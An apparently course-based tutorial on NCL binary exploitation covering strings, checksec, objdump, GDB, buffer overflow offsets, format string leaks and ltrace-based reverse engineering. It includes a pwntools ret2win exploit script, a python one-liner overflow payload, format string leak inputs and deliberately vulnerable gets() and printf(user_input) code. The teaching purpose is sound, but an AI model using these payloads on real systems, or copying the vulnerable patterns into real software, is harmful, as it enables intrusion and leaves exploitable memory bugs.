NCL: Enumeration & Exploitation
Binary analysis, buffer overflows, and reverse engineering with GDB
Enumeration & Exploitation
Enumeration and exploitation is the most advanced NCL category. You are given compiled binaries and must analyze them to find vulnerabilities, extract hidden information, or exploit weaknesses like buffer overflows. This category directly builds on the C programming and memory management skills from Weeks 6-10 of this course.
1. Binary Analysis Basics
Before exploiting a binary, you need to understand what it does. These tools extract information without running the program:
strings
# Find readable text in a binary (flags, passwords, error messages)
strings ./binary | grep -i "flag\|password\|key\|secret"
# Find specific format patterns
strings ./binary | grep "SKY-"
Many CTF challenges hide flags as plaintext strings inside the binary. Always try strings first.
file and checksec
# Identify the binary type
file ./binary
# Output: ELF 64-bit LSB executable, x86-64, dynamically linked
# Check security protections
checksec --file=./binary
checksec shows which exploit mitigations are enabled:
| Protection | What it prevents | Enabled? |
|---|---|---|
| NX (No Execute) | Executing code on the stack | Usually yes |
| ASLR | Address randomization | OS-level, not per-binary |
| Stack Canary | Stack buffer overflow detection | Check binary |
| PIE | Position-independent executable (randomized base address) | Check binary |
| RELRO | GOT overwrite protection | Partial or Full |
In CTF, disabled protections tell you which exploits are viable. No NX = you can execute shellcode on the stack. No canary = stack overflows are straightforward.
objdump
# Disassemble the binary
objdump -d ./binary | less
# Disassemble a specific function
objdump -d ./binary | grep -A 50 "<main>:"
# Show all section headers
objdump -h ./binary
Checkpoint: checksec shows NX is disabled and there is no stack canary. What type of exploit is most likely viable?
A stack-based buffer overflow with shellcode injection. Without NX, the stack is executable — you can write shellcode (machine instructions) into a buffer and redirect execution to it. Without a canary, there is no detection of the overflow. This is the classic buffer overflow exploit.
2. Dynamic Analysis with GDB
GDB (GNU Debugger) lets you run a program step-by-step, set breakpoints, examine memory, and inspect registers. This is essential for understanding program behavior and developing exploits.
Basic GDB workflow
gdb ./binary # Load the binary
# Inside GDB:
(gdb) disas main # Disassemble main()
(gdb) break *main # Set breakpoint at main
(gdb) break *main+42 # Break at specific instruction
(gdb) run # Run the program
(gdb) run < input.txt # Run with input from file
# At a breakpoint:
(gdb) info registers # Show all register values
(gdb) x/20x $rsp # Examine 20 hex words at stack pointer
(gdb) x/s 0x400abc # Examine as string at address
(gdb) ni # Next instruction (step over)
(gdb) si # Step into function call
(gdb) continue # Continue to next breakpoint
Key registers (x86-64)
| Register | Purpose |
|---|---|
| RIP | Instruction pointer — address of the next instruction to execute |
| RSP | Stack pointer — top of the stack |
| RBP | Base pointer — bottom of current stack frame |
| RAX | Return value from functions |
| RDI, RSI, RDX, RCX | First four function arguments (in order) |
Finding the buffer overflow offset
If a program crashes on long input, you need to find exactly how many bytes it takes to overwrite the return address:
# Generate a pattern
python3 -c "print('A' * 100)" | ./binary
# If it segfaults, check what's in RIP:
(gdb) run <<< $(python3 -c "print('A'*100)")
(gdb) info registers rip
# If RIP = 0x4141414141414141, the A's reached the return address
Use a cyclic pattern to find the exact offset:
# Generate with pwntools
from pwn import *
print(cyclic(100))
# Use cyclic_find() with the value in RIP to get the offset
Checkpoint: In GDB, you set a breakpoint at main and run the program. It hits the breakpoint. What command shows the assembly instructions around the current position?
disas (short for disassemble) shows the assembly for the current function with an arrow => indicating the current instruction. You can also use x/10i $rip to show the next 10 instructions from the current instruction pointer.
3. Buffer Overflow Exploitation
A buffer overflow occurs when a program writes more data to a buffer (array) than it can hold, overwriting adjacent memory — including the saved return address on the stack. By controlling the return address, an attacker controls where execution goes next.
The stack layout
High addresses
┌─────────────────────┐
│ Return address │ ← overwrite THIS to hijack control
├─────────────────────┤
│ Saved RBP │
├─────────────────────┤
│ Local variables │
│ (buffer starts here)│ ← input goes here, overflows upward
└─────────────────────┘
Low addresses
Vulnerable C code pattern
void vulnerable() {
char buffer[64];
gets(buffer); // No bounds checking — reads until newline
// After gets(), if input > 64 bytes, it overwrites the return address
}
gets() is the textbook vulnerable function — it reads unlimited input into a fixed buffer. strcpy() without length checking has the same problem.
Simple exploit: redirect to a hidden function
Many CTF challenges include a win() or flag() function that is never called normally. The exploit overwrites the return address with the address of that function:
from pwn import *
# Connect to the target
p = process('./binary') # or remote('target.com', port)
# Build the payload
offset = 72 # bytes to reach return address (found with GDB)
win_addr = 0x401234 # address of win() (found with objdump)
payload = b'A' * offset + p64(win_addr)
p.sendline(payload)
p.interactive()
Checkpoint: objdump shows a function called "print_flag" at address 0x4011a0 that is never called in main(). The program uses gets() for input. How do you exploit this?
- Find the buffer size and offset to the return address (use GDB with cyclic pattern)
- Build a payload:
'A' * offset + address_of_print_flag - The address must be in little-endian format (x86-64):
\xa0\x11\x40\x00\x00\x00\x00\x00 - Send the payload as input:
python3 -c "print('A'*72 + '\xa0\x11\x40\x00\x00\x00\x00\x00')" | ./binary
The overflow overwrites the return address with 0x4011a0. When the vulnerable function returns, execution jumps to print_flag().
4. Format String Vulnerabilities
Format string vulnerabilities occur when user input is passed directly as the format argument to printf():
// Vulnerable:
printf(user_input); // If user_input = "%x %x %x", it leaks stack values
// Safe:
printf("%s", user_input); // User input treated as data, not format
Reading memory
%x — print the next value on the stack (hex)
%s — print the string at the address on the stack
%n — WRITE the number of bytes printed so far to the address on the stack
%7$x — print the 7th value on the stack (direct parameter access)
Entering %x %x %x %x %x %x as input to a vulnerable program leaks stack contents, which may include addresses, canary values, or other sensitive data.
5. Reverse Engineering
Some NCL challenges give you a binary and ask what it does (without source code). The approach:
# Static analysis
strings ./binary # Readable text
objdump -d ./binary # Disassembly
ltrace ./binary # Trace library calls (strcmp, puts, etc.)
strace ./binary # Trace system calls (open, read, write)
ltrace is particularly useful — if the program compares your input with strcmp(), ltrace shows both arguments:
ltrace ./binary
# Output: strcmp("your_input", "s3cr3t_p4ss") = -1
# The password is "s3cr3t_p4ss"
Tools
| Tool | Purpose |
|---|---|
| GDB | Debugger — breakpoints, memory inspection, step execution |
| objdump | Disassembler — view assembly code |
| strings | Extract readable text from binaries |
| ltrace | Trace library function calls |
| strace | Trace system calls |
| checksec | Check binary security protections |
| pwntools | Python library for exploit development |
| Ghidra | NSA’s free decompiler (binary → pseudo-C) |
Resources
Practice: pwn.college (ASU’s free binary exploitation platform — highly recommended) · picoCTF Binary Exploitation · ROP Emporium (return-oriented programming)
Reference: Nightmare — CTF binary exploitation guide · pwntools Documentation
Video: LiveOverflow — Binary Exploitation · John Hammond — pwn CTF